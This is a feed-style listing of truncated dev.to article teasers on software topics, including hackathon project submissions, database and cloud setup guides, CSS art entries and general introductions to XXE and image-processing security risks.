    There are also some other commonly seen data sources, including NoSQL, MQ, MongoDB and others, among which MongoDB is the most commonly used. Now let’s use SPL to connect to MongoDB for computations. Import data from the MongoDB. External library SPL external library contains dozens of non-relational data sources and functions: External connectors are placed in the external library, which is the external function extension library. Submitting specialized functions, which are used infrequently in handling the commonly seen computing problems, in the form of external library lets users load them off-the-cuff when needed. There are a large variety of external data sources. Not all of them are frequently used. Providing these external connectors in the form of external library is more flexibl…  ( 5 min )
    Hello from Make.com!
    This is a test post using the Dev.to API from Make.com. Success! 🎉  ( 2 min )
    XXE (XML External Entity) Attacks
    XML External Entity (XXE) Attacks: Unveiling the Risks and Defenses Introduction In the realm of web security, XML External Entity (XXE) attacks represent a significant vulnerability that can lead to severe consequences. This attack leverages the often overlooked capabilities of XML parsers to access external resources, potentially exposing sensitive data, executing arbitrary code, or even causing denial-of-service. This article delves into the intricacies of XXE attacks, exploring their underlying mechanisms, potential impacts, common attack vectors, and essential mitigation strategies. Prerequisites: Understanding XML and Entities To comprehend XXE attacks, a foundational understanding of XML (Extensible Markup Language) and its components is crucial. XML is a markup language designed …  ( 7 min )
    🔧 10 Date-and-Time Bugs I Still See in Production (and How to Avoid Them)
    After more than a decade writing backend code, I've fixed the same time-related bugs over and over. Below are ten of the worst offenders, why they happen, and a proven way to avoid each one. I've linked free tools and API calls from Pastetime so you can try the fixes right away. What you see Reports jump an hour forward or back every spring and autumn. Why it happens Local timestamps are ambiguous when daylight‐saving rules shift or the server moves to a new zone. Fix Store UTC only, convert on display. Quick test Paste any local time into the UTC-to converter to see the safe format. Symptom Graphs plot dates in the year 51345 or collapse to 1970. // Safe JS conversion const unixMs = 1754136000000; // milliseconds const date = new Date(unixMs); // correct const unixS = Math.floor(uni…  ( 4 min )
    🛡️ PayShield: The Voice-Powered Shield Against $2.4B Daily Invoice Fraud
    This is a submission for the AssemblyAI Voice Agents Challenge Every day, businesses lose $2.4 billion to email fraud. 😱 One fake "please update our banking details" email can bankrupt a company overnight. Traditional email security fails because fraudsters look legitimate on paper. We built the world's first real-time voice authentication system that challenges suspicious payment requests with military-grade biometrics. When your vendor asks to change bank details, PayShield makes them prove their voice in 300ms using AssemblyAI's cutting-edge streaming technology. Categories: Business Automation + Real-Time Performance 🔗 Live Protection: payshield.live 📹 See the Magic: Watch fraud get stopped in real-time The 300ms Miracle 🎯 async def verify_voice_challenge(audio_data, stored_hash, challenge_words): # Phase 1: Challenge words (can't be pre-recorded) 🎤 words_match = verify_challenge_words(transcript.text, challenge_words) # Phase 2: Voice biometrics (impossible to fake) 🔬 voice_fingerprint = extract_speaker_features(transcript.utterances) current_hash = generate_voiceprint_hash(voice_fingerprint, audio_data) return voiceprint_match and confidence_score >= 85.0 # Fraud = BLOCKED` Why AssemblyAI Saved the Day 🌟 Traditional voice recognition fails under pressure. AssemblyAI's Universal-Streaming gave us superhuman capabilities: The Emotional Impact 💔➡️❤️ Before PayShield: CFOs lose sleep over wire fraud. Finance teams live in fear. Companies go bankrupt overnight. After PayShield: Instant peace of mind. Fraudsters exposed in 300ms. Businesses protected by voice truth. One verification badge in Gmail. One saved company. Priceless. 💎  ( 4 min )
    CSS ART
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Inspiration Demo Journey  ( 2 min )
    Scaling Image Processing from Startup to Enterprise: Lessons from Processing 50M+ Images Monthly
    When I joined a fast-growing SaaS company three years ago, we were processing about 10,000 images per day with a simple Node.js service and basic JPG conversion. Fast forward to today: we handle over 50 million images monthly across 15 microservices, supporting 200+ engineers across multiple teams and time zones. The journey from startup-scale to enterprise-scale image processing taught me that technical optimization is only half the battle. The real challenges emerge around team coordination, operational complexity, cost management, and maintaining consistency across distributed development teams. Let me share the architectural decisions, organizational patterns, and hard-won lessons that enabled us to scale without sacrificing developer velocity or system reliability. // Our original "si…  ( 15 min )
    A Developer's Guide to PostgreSQL Full Text Search
    Looking to move beyond simple LIKE queries in SQL? PostgreSQL offers native full text search, a powerful feature for matching and ranking text intelligently. It supports stemming, stop words, ranking, and multiple languages—all within your database. This guide walks you through how it works, how to implement it, and how to make it fast and accurate using tsvector, tsquery, and GIN indexes. Text → tsvector Query → tsquery Use @@ to match Add GIN index for speed Use ts_rank() to sort by relevance ALTER TABLE products ADD COLUMN tsv tsvector GENERATED ALWAYS AS ( to_tsvector('english', name || ' ' || description) ) STORED; CREATE INDEX tsv_idx ON products USING GIN(tsv); SELECT * FROM products WHERE tsv @@ to_tsquery('english', 'sneaker & casual'); Phrase queries: SELECT * FROM products WHERE tsv @@ phraseto_tsquery('english', 'everyday wear'); Rank by relevance: SELECT name, ts_rank(tsv, to_tsquery('english', 'wear')) AS score FROM products; setweight() to boost titles ts_headline() to highlight matches Combine tsvectors from multiple fields Can I search across multiple columns? Yes, combine them using || or setweight() into one tsvector. How do I match full phrases? Use phraseto_tsquery() for phrase-based searches. How do I rank results? Use ts_rank() and assign weights to important fields. Is it better than LIKE? Yes — FTS is more powerful, accurate, and performance-optimized. PostgreSQL Full Text Search is the easiest way to build a search engine directly in SQL. Fast, powerful, and production-ready. Read the PostgreSQL Full Text Search: The Definitive Guide for more details.  ( 18 min )
    building a medical ai platform that doctors actually want to use
    This is a submission for the Algolia MCP Server Challenge spent the last few months deep in healthcare tech, talking to doctors, watching them struggle with fragmented medical databases, and realizing that search in healthcare is fundamentally broken. built MedIntel to fix that - a medical research platform that turns scattered medical data into actual clinical insights. here's the thing nobody talks about in healthcare tech: doctors don't need another dashboard. they need answers. fast, accurate, contextual answers that help them make better decisions for their patients. MedIntel is what happens when you take the algolia mcp server concept and apply it to the medical field properly. instead of building another "ai chatbot for healthcare," i focused on solving the real problem - medical in…  ( 8 min )
    A Modern Intranet Template For Modern Startups
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created Arxis, a modern, comprehensive intranet homepage designed as a central hub for internal communication, collaboration, and information sharing within organizations. My goal was to build a visually appealing, intuitive platform that boosts productivity, streamlines internal processes, and fosters a strong sense of community among employees. The Arxis intranet homepage includes multiple interactive sections: News Feed: Dynamic content with announcements, interactive engagement, and archival access. Company Section: Overview of company values, structured department directories, leadership profiles, timelines, and collaborative insights. Task Manager: Visual and interactive ta…  ( 4 min )
    Veew - Real-time video calling with live captioning, minutes recording, and speaker diarization.
    This is a submission for the AssemblyAI Voice Agents Challenge Veew is a real-time video communication platform that enables users to connect with other participants through video calls and enhances their experience with sub-300ms latency live captioning and speaker diarization features. Live Site / Veew Veew - Simplifying Communication Veew is a video communication platform, which utilizes the Assemblyai's universal streaming api to auto generate live video captions with speaker diarizations. Features Create room: This allows users to start a video channel Join room: Users can join an already created room to connect with other participants. Live Captioning: Users can enable live captions during a video call. View on GitHub Technical Implementation & AssemblyAI Integration  ( 3 min )
    Defining props in Vue
    Props (short for "properties") are a foundational concept in Vue, enabling component reusability and clear data flow between parent and child components. Whether you're new to Vue or transitioning from Vue 2, understanding how to define and work with props effectively is essential for building maintainable applications. Enjoy! In Vue, props are custom attributes that you can register on a child component. When a parent component uses a child component, it can pass data to it via props. {{ title }} defineProps(['title']) In the example above, the parent passes a title prop to ChildComponent. While Vue won't t…  ( 6 min )
    Medical Consultation Voice Agent
    This is a submission for the AssemblyAI Voice Agents Challenge I built a Medical Consultation Voice Agent - a sophisticated domain expert voice agent that provides real-time medical consultations using AssemblyAI's Universal-Streaming technology. This application addresses the Domain Expert Voice Agent category by combining advanced voice AI with comprehensive medical domain expertise. The agent leverages AssemblyAI's sub-300ms latency capabilities to create natural, conversational medical consultations. It features: Real-time medical transcription optimized for medical terminology Intelligent symptom analysis with entity extraction Drug interaction detection and contraindication warnings Risk assessment algorithms with emergency response protocols Comprehensive patient profiling with co…  ( 5 min )
    The Hive Intranet Space
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created The Hive Intranet, a clean, responsive internal platform designed for a remote-first social media agency. The goal was to build something functional, minimal, and tailored to real daily needs. I focused on layout clarity, fast access to tools, and smooth usability across screens. The interface uses a soft white and gray background with orange accents to highlight actions and data points. It’s structured into six main sections, each designed with purpose. Smart Hub A daily productivity area. It includes a simple task tracker (Quick Wins) and a learning widget that rotates new content. These help team members focus and stay up to date. KPI & Tools This section holds key stats like project completions, client count, and satisfaction rate. Right beside it, I added shortcut icons to tools like Google Docs, Asana, SEMrush, Buffer, and Claude. With this no need to switch tabs, just jump into your favorite work tools. Company News A simplified announcement area. It shows a featured story with an image and a list of updates. I stripped it down to reduce noise but keep everyone in the loop. Projects Showcase Navigation Demo The Hive Intranet Code Live URL This project was a good mix of design thinking and frontend structure. I went with a mobile-first approach and paid attention to small UX details, like making the tool icons easy to reach and ensuring grid behavior stays solid on small screens. I kept the CSS lean and used variables for easy theming. The HTML is semantic and accessible. I removed unused code before shipping, keeping everything clean for production. The sections were chosen based on how remote teams actually work—daily focus, fast tool access, visible progress, and lightweight communication. Every part plays a role in keeping the team in sync.  ( 4 min )
    Monday Morning Meeting – CSS Office Culture Scene ☕💼
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. This piece captures a familiar scene in many workplaces: the Monday morning meeting. From laptops to coffee cups, from speech bubbles echoing corporate buzzwords to stressed expressions and floating motivation—it’s a lighthearted satire on modern office life. The idea was to create something fun, relatable, and full of small storytelling details using only HTML and CSS. 🔗 Live Demo: GitHub Code: github.com/office-culture 🖼️ Preview: I wanted to bring a full-blown office scene to life using only HTML and CSS. Here are some highlights: 🎨 Pure CSS Art: No images or SVGs—everything is crafted using divs and CSS gradients. 🧍‍♂️ Boss and 4 Employees with individual styles. 💻 3D-style laptops on the meeting table using transform and perspective. ☕ Coffee cups with handles and tops. 🗨️ Speech bubbles with actual workplace jargon (we’ve all heard “circle back”, right? 😅). 🕒 A clock on the wall and a floating "TEAMWORK!" banner for some extra motivation. 📊 A whiteboard with a faux bar chart and the word "SYNERGY" to complete the buzz. How to layer and position elements precisely in a confined layout. Crafting 3D illusions using transform, shadows, and gradients. Balancing humor and art with minimal HTML. Make the scene responsive for mobile. Animate the characters or add interactivity via JavaScript in a future version. Explore more workplace moments—maybe a lunchroom or coffee break next! Thanks for checking out my submission! Happy coding and good luck to everyone participating in the challenge! 🚀  ( 3 min )
    The Hidden Security Risks in Image Processing: A Developer's Guide to Safe JPG Conversion
    Most developers think of image conversion as a straightforward technical task. Upload image, convert format, serve to users. What could go wrong? Last year, I helped investigate a data breach that started with a seemingly innocent image upload feature. The attack vector? Malicious EXIF data embedded in a JPG file that exploited a vulnerability in the image processing library. The damage included exposed user data, compromised API keys, and months of remediation work. This incident taught me that image processing isn't just about optimization and user experience—it's a critical security boundary that requires careful attention to privacy, compliance, and threat prevention. // Real-world image security threats const imageSecurityThreats = { maliciousPayloads: { description: 'Code injec…  ( 11 min )
    Code Reviewing Copilot in Power Automate
    I still remember the first time I saw Power Automate Copilot, it was at the Power Platform Conference back in 2023, back then it had random compose and did a condition in a loop (a big no no for me). Call out, I don't use Copilot in Power Automate, so my experience is limited and my prompts are probably not the best (Though I do use GitHub Copilot and T3 Chat so have some experience in LLMs). Additionally I'm not testing the expression generator, just creating actions. So the plan is to look at updating a flow with prompted that cover: Loops (easy to get wrong and burn API calls) Error/Exception Handling Conditions (often unnecessary) And finally a prompt to complete an entire flow. But erm, this didn't quite go to plan, so there will be a part 2 in the future, anyway let's dive in and see…  ( 7 min )
    Use Algolia MCP Server & VSCode GitHub Copilot to Submit Unique Projects in Dev Challenges! ❤️‍🔥
    This is a submission for the Algolia MCP Server Challenge Recently I've found myself participating in quite some Dev Challenges. I'm Loving it! However, the problem is: Most of my Dev Challenge submissions are done on the weekends. That means by then, there are already many submissions. That's great! But what's the point in working on something someone had already done! I mean, it's not always a bad thing, but wouldn't you rather work on something unique! In comes Algolia MCP Server Challenge! So I thought, would the Algolia MCP Server make it easy for me to check if what I'm going to work on is at least unique so far? This is what this project is all about. Installed Algolia MCP Server on VSCode with GitHub Copilot (Linux). Developed a CLI Tool to Fetch dev.to Challenge Submissions using …  ( 5 min )
    Intradash - Dashboard + Bento Builder
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space Intradash is a webapp dashboard with widgets that give you easy access to your data, but also lets you build your own spaces so you can organize things the way you want it (more on that later). Some main features include: A problem with compact UI sections, is that it can be hard to find data or tedious to navigate, that is why each dashboard widget has a button that can allow you to maximize that widget and be more focused and comfortable. In my experience working with others, I've noticed that sometimes, being organized is very difficult. Maybe there is an event, or there are different tasks that you realize daily or every certain amount of time, and it would be a lot easier if you could have predefined spaces with just exactly what you need without jumping from one place to another. That's why I added the “Bento Builder”, in simple words, these are customizable spaces with layouts similar to a bento, there, you can place different widgets and set the data you want. Live Preview: Intradash Preview Repo: Code Here As a person who have created templates in the past, I think this was an interesting experience, this was an area felt new for me and I didn't know there was a market for this until I saw what Axero is doing (at least, not like a whole area I think), so I'm looking forward to explore more in that area. I think, that by far, as a front-end developer, this has been one of the more complex interesting project I've worked. I'm happy I've chosen Svelte for this project, made things a lot easier.  ( 4 min )
    building sales agents that know their stuff: vocallq's domain expertise approach
    This is a submission for the AssemblyAI Voice Agents Challenge - Domain Expert Voice Agent prompt VocallQ is a comprehensive platform that perfectly demonstrates all three challenge categories. Rather than build three separate demos, I built one production system that showcases each aspect in depth: Business Automation submission: Focus on AI agents that automate sales processes Real-Time Performance submission: Focus on sub-300ms live transcription capabilities This submission (Domain Expert): Focus on specialized sales and webinar expertise Each submission highlights different technical aspects of the same integrated system. VocallQ - AI agents with deep sales domain expertise that actually understand B2B conversations Been working on this for months because most AI "sales tools" are g…  ( 11 min )
    Why You Should Try Coding In Rust.
    If you've been lurking around dev Twitter, GitHub, or any Reddit thread about modern programming, chances are you’ve seen the name Rust pop up a lot. No, we're not talking about the metal-eating kind (though devs might argue that memory bugs are just as destructive). We're talking about the programming language that’s been quietly, and not so quietly: gaining massive traction in the software world. So what’s the deal with Rust? Why are Google, Microsoft, and even parts of the Linux kernel putting their chips on it? Let’s dive in. Rust: Safety Without Sacrifice Rust is all about safety. Its biggest selling point is that it lets you write blazingly fast code without the risk of those nasty bugs that plague C and C++, especially memory-related ones like null pointer dereferencing, buffer ov…  ( 4 min )
    300ms live captions that actually work: vocallq's real-time performance deep dive
    This is a submission for the AssemblyAI Voice Agents Challenge - Real-Time Voice Performance prompt VocallQ is a comprehensive platform that perfectly demonstrates all three challenge categories. Rather than build three separate demos, I built one production system that showcases each aspect in depth: Business Automation submission: Focus on AI agents that automate sales processes This submission (Real-Time Performance): Focus on sub-300ms live transcription capabilities Domain Expert submission: Focus on specialized sales and webinar expertise Each submission highlights different technical aspects of the same integrated system. VocallQ - a webinar platform with sub-300ms live transcription that actually works in production Been optimizing this for months because most live caption system…  ( 8 min )
    Elder Care Companion 🤖❤️
    This is a submission for the AssemblyAI Voice Agents Challenge A comprehensive elder care application using AssemblyAI, AWS, and React to provide voice interaction, health monitoring, and family communication for elderly users. As our population ages, the need for accessible, intelligent care solutions becomes increasingly critical. Many elderly individuals face challenges with: Social isolation and lack of regular interaction Medication management and health monitoring Emergency response and family communication Technology barriers that prevent access to digital health tools Our Elder Care Companion is a comprehensive application that provides: Intelligent Voice Interface - Parallel Processing Dual-Service Architecture: AssemblyAI + Amazon Nova Sonic running in parallel Fast Feedback:…  ( 8 min )
    SwiftPad: AI Powered Transcription with AssemblyAI
    This is a submission for the AssemblyAI Voice Agents Challenge Inspired by the need for effortless audio transcription and content creation, I built Swift-Pad, a powerful audio transcription and transformation tool leveraging AssemblyAI's Universal-Streaming technology. Swift-Pad allows users to easily record or upload audio, transcribe it with remarkable accuracy, and instantly transform those transcriptions into summaries, emails, blogs, quick notes, and more. The goal was simple: remove the hassle from turning audio conversations into actionable content. This submission addresses the Business Automation Voice Agent prompt with: Automated Audio Transcription: Real-time, high-accuracy speech-to-text transcription for business meetings, calls, and interviews. AI-driven Content Transformati…  ( 5 min )
    Building an Office with 900+ Lines of CSS: My Frontend Challenge Journey
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. For this CSS Art challenge, I wanted to step out of my comfort zone. While I've used CSS extensively for web apps and websites, I had never built an art piece purely with CSS. I started by diving into codepen and other inspiration sites, getting a feel for what was possible. Eventually, a rough sketch of an office atmosphere in Excalidraw became my guiding vision. My goal was to depict a typical office scene, complete with everyday elements and subtle animations. Rough sketch: Eventually, after starting to build, I got ideas for adding a few more elements. Note: For the best experience, please **view in a web browser. Live link of my CSS Art: CSS Art Source code: Github repo Video demo…  ( 5 min )
    Supercharge RealTime Multi-Language Translation with AssemblyAI
    This is a submission for the AssemblyAI Voice Agents Challenge I created LinguaBridge, a real-time bidirectional voice translation app. It utilizes AssemblyAI’s Universal-Streaming API for speech-to-text (STT), Google Gemini for instant translations, and Cartesia's high-performance text-to-speech (TTS) to deliver ultra-low-latency translations, targeting sub-300ms round-trip latency. With LinguaBridge, conversations across language barriers become natural and effortless, ideal for real-time interactions in professional, personal, and educational contexts. This submission addresses the Real-Time Performance Voice Agent prompt with: Ultra-Low Latency: Sub-500ms round-trip voice translation latency. Streaming Speech Recognition: Instantaneous processing of spoken input using AssemblyAI's Univ…  ( 6 min )
    10 Free Tools for Startup Founders in 2025
    Starting a business in 2025? These free tools will help you build, manage, and grow your startup — even on a tight budget. Great for beginners, indie hackers, and solopreneurs.  ( 3 min )
    A Junior Developer's First Google Login Implementation: A Practical Guide Through Trial and Error
    Introduction While working on a side project, I thought, "Why not add a Google login feature?" "Google login? Shouldn't it be as simple as creating a button and calling a few APIs?" Little did I know how much of a learning journey this thought would become. From my first encounter with the term OAuth 2.0, I learned so much. The experiences of getting lost in the Google Cloud Console, almost committing environment variables to Git, and struggling to figure out why a popup wouldn't appear have now become a valuable learning process. "It was more complicated than I thought... but I figured it out one step at a time!" I wrote this article in the hope that junior developers can experience fewer trials and errors when implementing Google login. I will honestly share the actual code implemented…  ( 8 min )
    What I've Gained After 6 Years Blogging on dev.to
    Six years ago, I wrote my first blog post... and heard crickets. Nobody was reading my blog. I wanted some traffic there. Some attention. I was playing the SEO game with keywords and answer posts. I prayed to the SEO gods to send readers to my blog. Those days, I found out about dev.to, the new platform in town for coders. A better way to get readers? Create an account and repost there. So on July 23rd, 2019, I did it. I didn't know where it would take me. In six years, I've written 176 posts. Some of them are dev.to "originals." Others reposts. I wrote more posts, but I deleted the oldest in a moment of embarrassment. Yes, even I cringed at reading them. They were so bad. My posts have received +114K views and 1.6K reactions. And I have +25K followers. Mostly bots or inactive users I thin…  ( 4 min )
    How I Built EduConnect Hub – My First Full Stack Project Using React and Node.js
    How I Built EduConnect – A Platform to Bridge the Gap Between Students and Faculty The Idea The concept for EduConnect was quite straightforward: I aimed to close the communication gap between faculty and students while helping students team up with the right partners for hackathons. A lot of students find it hard to reach out to faculty when they’re facing challenges, especially when they’re learning a new language or framework. Plus, they usually form hackathon teams based on who they know rather than skills, which can lead to subpar results. To tackle this issue, I started creating EduConnect – a web app that allows: Students to chat with their classmates and professors. Faculty to be filtered by their expertise (such as Python, Java, etc.). Students to connect with team m…  ( 4 min )
    Gotta Search 'Em All, MCP!!
    This is a submission for the Algolia MCP Server Challenge Ever found yourself stuck in a tough Gym Leader battle, scrambling to figure out the right moves or Pokémon just to finally take down Brock and move on with the game? PokéBattle AI Strategist, an intelligent Pokémon battle strategy assistant that "revolutionizes" competitive Pokémon gameplay through the power of Algolia's Model Context Protocol (MCP) server. This application transforms complex battle planning into natural language conversations, making competitive Pokémon accessible to both newcomers and veterans. Search Mode Switching Algolia-Fast Search Results Natural Language Battle Planning "What's the best counter to a Charizard with Solar Beam?" "Which Pokémon can learn moves that are super effective against Water/Ground …  ( 7 min )
    Not Just Another Wrapper:The Engineering Behind Context Space
    In the gold rush of AI, it’s easy to build a thin wrapper around an API, create a flashy demo, and call it a day. But building robust, scalable, and secure AI infrastructure—the kind you can bet your business on—is a different game entirely. It requires deliberate architectural choices and a deep understanding of production systems. At Context Space, we aren't just building features; we're engineering a foundation. Our vision is to provide a tool-first infrastructure that powers the next generation of complex AI agents. Here’s a look at the core technical advantages that make this vision possible. The Problem: The most glaring security hole in most AI agent setups is credential management. API keys, OAuth tokens, and other secrets are often dumped into .env files, checked into insecure dat…  ( 5 min )
    Setting up Azure Container Apps and Dapr
    Getting Started with Azure Container Apps and Dapr Azure Container Apps is a serverless container platform that enables you to deploy microservices without managing complex infrastructure. When combined with Dapr (Distributed Application Runtime), it unlocks powerful capabilities like service invocation, pub/sub messaging, state management, and more—ideal for building resilient, cloud-native apps. Azure CLI Dapr CLI A GitHub repo or container image (e.g., from Docker Hub) Azure Subscription Install the required extensions: az extension add --name containerapp --upgrade az provider register --namespace Microsoft.App az provider register --namespace Microsoft.OperationalInsights az group create --name dapr-app-rg --location westus az containerapp env create \ --name dapr-env \ --resource-group dapr-app-rg \ --location westus Deploy a sample app with Dapr sidecar: az containerapp create \ --name dapr-service \ --resource-group dapr-app-rg \ --environment dapr-env \ --image ghcr.io/dapr/samples/hello-k8s-node:latest \ --target-port 3000 \ --ingress external \ --enable-dapr \ --dapr-app-id nodeapp \ --dapr-app-port 3000 --enable-dapr deploys the Dapr sidecar --dapr-app-id is used for service invocation To invoke the service from another app or tool: curl http:/// \ -H "dapr-app-id: nodeapp" Attach a pub/sub component or state store by uploading a Dapr component YAML file to your Container App environment via the Azure Portal or Azure CLI. For example, use Azure Storage, Service Bus, or Redis as backends. By enabling Dapr in Azure Container Apps, you can focus on building scalable microservices without worrying about infrastructure. You get out-of-the-box service discovery, retries, pub/sub, and state—making your app more robust and cloud-native.  ( 3 min )
    SearchFlow Intelligence Platform
    This is a submission for the Algolia MCP Server Challenge I built SearchFlow Intelligence Platform, an enterprise-grade solution that revolutionizes how organizations interact with their data through a unified dual-platform architecture. The platform seamlessly integrates: Core Innovation: Dual MCP Server Architecture Algolia MCP Server: Advanced search analytics, index management, A/B testing, and performance optimization NiFi MCP Server: Comprehensive data pipeline orchestration, real-time processing, and ETL management Claude AI Interface: Natural language control over both platforms through a single conversational interface Technical Stack: AI Protocol: MCP (Model Context Protocol) for unified communication Data Pipeline: Apache NiFi 2.0 with REST API management Search Engine: …  ( 6 min )
    Peacemaker S2 trailer finds our anti-hero in a parallel world
    Okay, seriously, if you’re anything like me, your eyeballs were glued to every little bit of news coming out of San Diego Comic-Con this past weekend. And while there were a ton of huge reveals, one definitely stood out for fans of a certain highly inappropriate, surprisingly deep, and utterly hilarious anti-hero: Peacemaker. That’s right, HBO Max finally dropped the hotly anticipated full trailer for Season 2 of James Gunn’s Emmy-nominated series, and the internet basically exploded. If you somehow missed the first season (and seriously, what have you been doing?! Spoilers ahead if you plan to fix that oversight), let’s quickly rewind. We last left Christopher Smith, a.k.a. Peacemaker, after a truly bonkers journey. Surviving a near-fatal shooting (thanks, Bloodsport!), he got roped into …  ( 4 min )
    Interface Segregation Principle: How Specialized Interfaces Prevent Hidden Bugs
    "Fat interfaces don't just bloat your code. They quietly make it fragile over time." --- Me, after untangling a bug in a repository base class If you read my Liskov Substitution Principle article, you've seen how code can look clean and still fail when a subtype doesn't behave as expected. Interface Segregation is often the next fix you need when abstractions grow too broad, and implementations drift away from shared behavior. The idea is simple: Interfaces should describe only what an implementation genuinely supports. If a class must implement methods it does not need, you do not have a shared behavior. You have a catch‑all contract that forces unrelated responsibilities into one place. Over time, this leads to empty methods, NotImplementedExceptions, and runtime surprises instead of pre…  ( 5 min )
    Stop Your SQL JOINs from Crawling: A Quick Index Fix
    Ever watched a perfectly fine query turn into a 30-second nightmare in production? Yeah, me too. Usually, it's JOIN operations hitting tables without proper indexes, forcing full table scans instead of quick lookups. I recently tackled this exact problem with an e-commerce query that was killing performance. Here's what I learned and how you can fix it fast. SELECT c.customer_name, o.order_date, p.product_name, oi.quantity FROM customers c JOIN orders o ON c.customer_id = o.customer_id JOIN order_items oi ON o.order_id = oi.order_id JOIN products p ON oi.product_id = p.product_id WHERE o.order_date >= '2024-01-01' AND p.category = 'Electronics' AND c.region = 'North America'; This innocent-looking query was scanning entire tables for every JOIN. With 50K orders and 150K order item…  ( 4 min )
    🚀 Setting Up and Seeding a MySQL Database in Laravel (Beginner Guide)
    🚀 Setting Up and Seeding a MySQL Database in Laravel (Beginner Guide) If you're starting your journey with Laravel, one of the first things you'll need to do is connect your application to a MySQL database and fill it with some sample data. In this article, I'll walk you through how to set up a MySQL database in Laravel and seed it with fake test data using Laravel's built-in tools. .env File Open your Laravel project’s .env file and update your database credentials. DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=laravel_demo DB_USERNAME=root DB_PASSWORD= Make sure your MySQL server is running and the database (laravel_demo) exists. If not, create it via phpMyAdmin, MySQL CLI, or any DB tool like TablePlus or DBeaver. Laravel migrations allow you to define y…  ( 5 min )
    InnoSync — A Seamless Digital Workspace
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space InnoSync is a fully responsive, intuitive intranet homepage designed for a fictional tech-forward company. Built using HTML, CSS, and vanilla JavaScript, InnoSync aims to centralize internal communication, simplify access to tools, and create an engaging employee experience. From real-time announcements and upcoming events to team spotlights and a streamlined launch pad, every element is crafted to support collaboration, visibility, and ease of use. My goal was to create a digital office that feels both professional and personal — blending functionality with subtle design touches that keep users coming back. Live Demo: https://innosync.netlify.app https://github.com/toubielawbar/i…  ( 4 min )
    Integrating OpenAI APIs into MERN Stack Projects: A Step-by-Step Guide
    AI is no longer just for research labs. With tools like OpenAI’s GPT models, developers can now build smart features directly into their web apps. In this guide, I’ll walk you through how to integrate OpenAI’s API into a MERN stack project — from setup to deployment. Why Integrate AI into MERN Projects? The MERN stack (MongoDB, Express.js, React, and Node.js) is known for its flexibility and scalability. But when paired with OpenAI’s models like GPT-4 or DALL·E, you can unlock next-gen features like: Smart chatbots AI-powered search Text summarization Code assistants Content generation tools Tools and Tech Stack Frontend: React (Vite or Create React App) Backend: Node.js + Express AI: OpenAI API (GPT-4) Environment: .env for API key, axios for HTTP requests Step 1: Get Your OpenAI API Key…  ( 5 min )
    🎙️ Turning Microsoft Teams Meetings into Actionable AI Reports with AssemblyAI 🧠💼
    This is a submission for the AssemblyAI Voice Agents Challenge We’ve all been there — back-to-back Microsoft Teams meetings, and by the time one ends, you’ve forgotten the key takeaways from the last. 😅 Instead of manually rewatching recordings or relying on scattered notes, I built an AI-powered automation system that transcribes, analyzes, and summarizes meeting recordings — all thanks to AssemblyAI. 🦾🎧 AssemblyAI made this project possible. Here's what stood out: ✅ Fast and accurate transcription of long-form audio Here’s a code snippet that kicked it all off: 🎤 First Attempt: LeMUR by AssemblyAI 😬 Trial limits on LeMUR meant I couldn’t process full-length recordings. While the API wa…  ( 4 min )
    DAY 01 - I Setup my SDK Project and Created the Entry Point!
    Recap My last dev log was showing my progress of developing my SDK data type library, however after using that I noticed a lot of issues with it and decided to scrap it all together for now, I will explain why during this section. I also decided to scrap my entire project and start again. The reason for this is that I was using premake5 as my build system and had a lot of issues with visual studio and getting everything working how I wanted. So I decided you know what I don’t need a build system I can just setup the project configuration on each platform that I need when I need to develop for it. So, as for my data type library. I had issues with cross compatibility with using windows.h function data types which causes so much frustration and headaches I decided to just scrap it for now …  ( 6 min )
    10 Real-World Problems I Solved Using Just ChatGPT Prompts
    When people ask me, I’ve used ChatGPT to solve writer's block, fix messy Excel files, build automation flows, draft marketing plans, brainstorm startup ideas, and more. Here are 10 real-world problems I’ve personally solved using simple, structured prompts — no code, no fancy setup. Problem Case 1. Messy Data in Excel Prompt used: “You are an Excel expert. Here’s a table (paste data sample). Clean this up: unmerge cells, standardise formatting, and ensure consistency.” Solved in under 3 minutes. Used it to write the “ChatGPT Prompts for Excel” book. Problem Case 2. Lack of Content Ideas Prompt used: “Act as a personal brand strategist. Generate 30 educational post ideas about AI for business leaders on LinkedIn.” Result? A month’s worth of high-performing content. Problem Case 3. Confusin…  ( 5 min )
    Introducing Vyoma UI. My own Component Library Built on top of shadcn/ui.
    Hey Devs 👋, I’ve been working on something small but useful — Vyoma UI, a beautiful component layer built on top of shadcn/ui, designed to help reuse clean, production-ready UI patterns across projects. It’s still in v1, so nothing fancy just yet — mostly copy-paste components — but it’s shaping up nicely! ⸻ ✨ What is Vyoma UI? Vyoma UI is basically a collection of Beautiful components I’ve Designed to the best standards. Right now, it’s just a bunch of components you can copy and paste into your own Shadcn/ui-based Next.js setup. ⸻ 🧱 What’s Inside (So Far) No npm package yet — just simple components you can grab and use. ⸻ 🔧 What’s Coming Next I’m actively working on: Eventually, I want Vyoma UI to be a ShadCN-friendly layer you can plug into, without changing your dev flow. ⸻ 📂 Try It Out For now, just check out the GitHub repo and the OG website and copy-paste what you need: 🔗 Github Repo Hosted Website I’ll be updating it regularly, and once I hit a stable point, I’ll publish a package + docs. ⸻ 🙌 Feedback Welcome If you’re into shadcn/ui components and want more prebuilt creative UI patterns that just work, I’d love your thoughts, feedback, or contributions! If you want to read why I built Vyoma ui (vui). You can read my blog about it. Thanks for reading ✨ Let’s build cool stuff together.  ( 3 min )
    SafeLine vs. BunkerWeb: Which Open Source WAF Is Right for You?
